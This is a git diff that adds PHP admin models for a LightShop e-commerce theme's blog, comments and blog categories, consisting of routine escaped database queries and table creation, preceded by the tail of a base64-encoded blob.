+lFi+jXifdu44Ewcnnhkjdgt9WbTN856nqeF3TIMSfHmLs9wuo2PVbh9kSuDuukiSgWnqxCDqzEqg
+zWq15k64Y7Y+zZJLZ5o46l9zp5cgP6mbWhqerIilLHHucr+Kwcqtuo+dmtiKRjvOixG9lJk25uxZ
+ELmV+GuTSm5zihe4qL3SNNUOPqhmuHmn34TWt1zoxhURNekrLbIGgo1ugK5MBwpQBfdt1LE36z3+
+JZlwv5/FRBnL0cNpoSLGnLYTXe/aLApnRdkSee9QBWaD5yDfIMua+V5HuWIEK2HUvhoCqGCZ46dO
+VlxSESnmu6K2/x2rte9CfVtcQ8bVXWaEUodrnhhKDBQ3ypqt/8APRGJ2e5cWeI881dWgCq35n66j
+bkk3zLyLNXD2IejavBOWTrQWwsIjl5dNS4JzGowJ8+UrvUEoKOSvoB9wTixAQZsyf/pOkecglKKI
+xTdixIC0RdqtyalTuSB7Th21h7DBiT0vAprnf4Yt8oK+7ikWWphDqQFxCHAUo0GoQ4pOKUg5GjVG
+dUIk/54PZ88XG5UD32vN9kgWq0Q5mTGwQNpMFMDx3YrBO/10hrWdXpJnQmwoMspuSsWXlQSTVDpg
+3zV6nMNaQROCPhsQs8DYXCM9siDAv0CYy/ai8dVm6vqCaQTq9rj7vuwNIHZGRHBAkkrYTEjXKm7S
+mCCLqQRI1ctmf9D4qLAau/8Nm1RV1pid/+GlGRnLxaKNy9nPD8d7QDgKpGHhVrN7XnyHyqweWTE+
+x0==
\ No newline at end of file
diff --git a/public/admin/model/extension/theme/lightshopblog.php b/public/admin/model/extension/theme/lightshopblog.php
new file mode 100644
index 0000000..2c26950
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopblog.php
@@ -0,0 +1,413 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+ }else{
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+ }
+ $blog_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_id = '" . (int)$blog_id . "'");
+ }
+
+ foreach ($data['blog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_description SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ if($value['tag']){
+ foreach (explode(',',$value['tag']) as $tag) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_tag SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', tag = '" . $this->db->escape(trim($tag)) . "'");
+ }
+ }
+ }
+
+ if (isset($data['blog_store'])) {
+ foreach ($data['blog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_store SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['blog_related'])) {
+ foreach ($data['blog_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related_prod SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['blog_layout'])) {
+ foreach ($data['blog_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_layout SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['blog_seo_url'])) {
+ foreach ($data['blog_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_id=" . (int)$blog_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ if(isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "' AND category_id = '" . (int)$data['main_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_category SET blog_id = '" . (int)$blog_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ }
+
+ $this->cache->delete('blog');
+
+ return $blog_id;
+ }
+
+ public function editBlog($blog_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "' WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_id = '" . (int)$blog_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_description WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($data['blog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_description SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ if($value['tag']){
+ foreach (explode(',',$value['tag']) as $tag) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_tag SET blog_id = '" . (int)$blog_id . "', language_id = '" . (int)$language_id . "', tag = '" . $this->db->escape(trim($tag)) . "'");
+ }
+ }
+ }
+
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_store WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['blog_store'])) {
+ foreach ($data['blog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_store SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['blog_layout'])) {
+ foreach ($data['blog_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_layout SET blog_id = '" . (int)$blog_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "'");
+
+
+ if (isset($data['blog_related'])) {
+ foreach ($data['blog_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_related_prod SET blog_id = '" . (int)$blog_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "'");
+
+ // SEO URL
+ if (isset($data['blog_seo_url'])) {
+ foreach ($data['blog_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_id=" . (int)$blog_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "'");
+
+ if(isset($data['main_category_id']) && $data['main_category_id'] > 0) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_to_category SET blog_id = '" . (int)$blog_id . "', category_id = '" . (int)$data['main_category_id'] . "', main_category = 1");
+ }
+
+ $this->cache->delete('blog');
+ }
+
+ public function deleteBlog($blog_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_description WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_store WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related WHERE related_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_comment WHERE blog_id = '" . (int)$blog_id . "'");
+
+ $this->cache->delete('blog');
+ }
+
+ public function getBlog($blog_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT keyword FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "' LIMIT 1) AS keyword FROM " . DB_PREFIX . "lightshop_blog i LEFT JOIN " . DB_PREFIX . "lightshop_blog_description id ON (i.blog_id = id.blog_id) WHERE i.blog_id = '" . (int)$blog_id . "'");
+
+ return $query->row;
+ }
+
+ public function getBlogTag($blog_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getBlogSeoUrls($blog_id) {
+ $blog_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_id=" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $blog_seo_url_data;
+ }
+
+ public function getBlogs($data = array()) {
+
+ $this->createTable();
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_blog i LEFT JOIN " . DB_PREFIX . "lightshop_blog_description id ON (i.blog_id = id.blog_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND id.title LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order',
+ 'i.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY i.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $blog_data = $this->cache->get('blog.' . (int)$this->config->get('config_language_id'));
+
+ if (!$blog_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog i LEFT JOIN " . DB_PREFIX . "lightshop_blog_description id ON (i.blog_id = id.blog_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $blog_data = $query->rows;
+
+ $this->cache->set('blog.' . (int)$this->config->get('config_language_id'), $blog_data);
+ }
+
+ return $blog_data;
+ }
+ }
+
+ public function getBlogDescriptions($blog_id) {
+ $blog_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_description WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+
+ $tag = '';
+ $temp = array();
+ $query1 = $this->db->query("SELECT tag FROM " . DB_PREFIX . "lightshop_blog_tag WHERE blog_id = '" . (int)$blog_id . "' AND language_id = '" . (int)$result['language_id'] . "'");
+
+ if($query1->num_rows){
+ foreach ($query1->rows as $value) {
+ $temp[] = $value['tag'];
+ }
+ $tag = implode(',', $temp);
+ }
+
+ $blog_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'tag' => $tag
+ );
+ }
+
+ return $blog_description_data;
+ }
+
+ public function getBlogStores($blog_id) {
+ $blog_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_to_store WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_store_data[] = $result['store_id'];
+ }
+
+ return $blog_store_data;
+ }
+
+ public function getBlogLayouts($blog_id) {
+ $blog_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $blog_layout_data;
+ }
+
+ public function getTotalBlogs() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalBlogsByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getBlogRelated($blog_id) {
+ $blog_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_related WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $blog_related_data[] = $result['related_id'];
+ }
+
+ return $blog_related_data;
+ }
+
+ public function getBlogRelatedProds($blog_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_blog_related_prod WHERE blog_id = '" . (int)$blog_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getBlogMainCategoryId($blog_id) {
+ $query = $this->db->query("SELECT category_id FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE blog_id = '" . (int)$blog_id . "' AND main_category = '1' LIMIT 1");
+
+ return ($query->num_rows ? (int)$query->row['category_id'] : 0);
+ }
+
+ public function getCommentNewCount() {
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_comment (
+ `comment_id` int(11) NOT NULL AUTO_INCREMENT,
+ `blog_id` int(11) NOT NULL,
+ `customer_id` int(11) NOT NULL,
+ `author` varchar(64) NOT NULL,
+ `text` text NOT NULL,
+ `rating` int(1) NOT NULL,
+ `status` tinyint(1) NOT NULL DEFAULT '0',
+ `date_added` datetime NOT NULL,
+ `date_modified` datetime NOT NULL,
+ PRIMARY KEY (`comment_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+
+ $query = $this->db->query("SELECT COUNT(status) as total FROM " . DB_PREFIX . "lightshop_blog_comment WHERE status = '0'");
+
+ return $query->row;
+ }
+
+ public function createTable() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog (
+ `blog_id` int(11) NOT NULL AUTO_INCREMENT,
+ `bottom` int(1) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ `status` tinyint(1) NOT NULL DEFAULT '1',
+ `date_added` date NOT NULL,
+ PRIMARY KEY (`blog_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_description (
+ `blog_id` int(11) NOT NULL,
+ `language_id` int(11) NOT NULL,
+ `title` varchar(200) NOT NULL,
+ `description` text NOT NULL,
+ `meta_title` varchar(255) NOT NULL,
+ `meta_h1` varchar(255) NOT NULL,
+ `meta_description` varchar(255) NOT NULL,
+ `meta_keyword` varchar(255) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_to_layout (
+ `blog_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ `layout_id` int(11) NOT NULL,
+ PRIMARY KEY (`blog_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_to_store (
+ `blog_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ PRIMARY KEY (`blog_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_related (
+ `news_id` int(11) NOT NULL,
+ `related_id` int(11) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ }
+
+}
diff --git a/public/admin/model/extension/theme/lightshopblogreview.php b/public/admin/model/extension/theme/lightshopblogreview.php
new file mode 100644
index 0000000..803f65c
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopblogreview.php
@@ -0,0 +1,131 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_blog_comment SET author = '" . $this->db->escape($data['author']) . "', blog_id = '" . (int)$data['blog_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+
+ $comment_id = $this->db->getLastId();
+
+ $this->cache->delete('blog');
+
+ return $comment_id;
+ }
+
+ public function editReview($comment_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_blog_comment SET author = '" . $this->db->escape($data['author']) . "', blog_id = '" . (int)$data['blog_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "', date_modified = NOW() WHERE comment_id = '" . (int)$comment_id . "'");
+
+ $this->cache->delete('blog');
+ }
+
+ public function deleteReview($comment_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_comment WHERE comment_id = '" . (int)$comment_id . "'");
+
+ $this->cache->delete('blog');
+ }
+
+ public function getReview($comment_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT pd.title FROM " . DB_PREFIX . "lightshop_blog_description pd WHERE pd.blog_id = r.blog_id AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS blog FROM " . DB_PREFIX . "lightshop_blog_comment r WHERE r.comment_id = '" . (int)$comment_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReviews($data = array()) {
+ $sql = "SELECT r.comment_id, pd.title, r.author, r.status, r.date_added FROM " . DB_PREFIX . "lightshop_blog_comment r LEFT JOIN " . DB_PREFIX . "lightshop_blog_description pd ON (r.blog_id = pd.blog_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_blog'])) {
+ $sql .= " AND pd.title LIKE '" . $this->db->escape($data['filter_blog']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sort_data = array(
+ 'pd.title',
+ 'r.author',
+ 'r.status',
+ 'r.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReviews($data = array()) {
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_blog_comment (
+ `comment_id` int(11) NOT NULL AUTO_INCREMENT,
+ `blog_id` int(11) NOT NULL,
+ `customer_id` int(11) NOT NULL,
+ `author` varchar(64) NOT NULL,
+ `text` text NOT NULL,
+ `rating` int(1) NOT NULL,
+ `status` tinyint(1) NOT NULL DEFAULT '0',
+ `date_added` datetime NOT NULL,
+ `date_modified` datetime NOT NULL,
+ PRIMARY KEY (`comment_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog_comment r LEFT JOIN " . DB_PREFIX . "lightshop_blog_description pd ON (r.blog_id = pd.blog_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_blog'])) {
+ $sql .= " AND pd.title LIKE '" . $this->db->escape($data['filter_blog']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReviewsAwaitingApproval() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_blog_commentWHERE status = '0'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/theme/lightshopcatblog.php b/public/admin/model/extension/theme/lightshopcatblog.php
new file mode 100644
index 0000000..46e6195
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopcatblog.php
@@ -0,0 +1,365 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', date_modified = NOW(), date_added = NOW()");
+
+ $category_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshopcat_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ foreach ($data['lightshopcatblog_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY `level` ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', `level` = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', `level` = '" . (int)$level . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ if (isset($data['lightshopcatblog_store'])) {
+ foreach ($data['lightshopcatblog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // Set which layout to use with this category
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ // SEO URL
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'lightshopcatblog_id=" . (int)$category_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('category');
+
+ return $category_id;
+ }
+
+ public function editCategoryBlog($category_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshopcat_blog SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', date_modified = NOW() WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshopcat_blog SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($data['lightshopcatblog_description'] as $language_id => $value) {
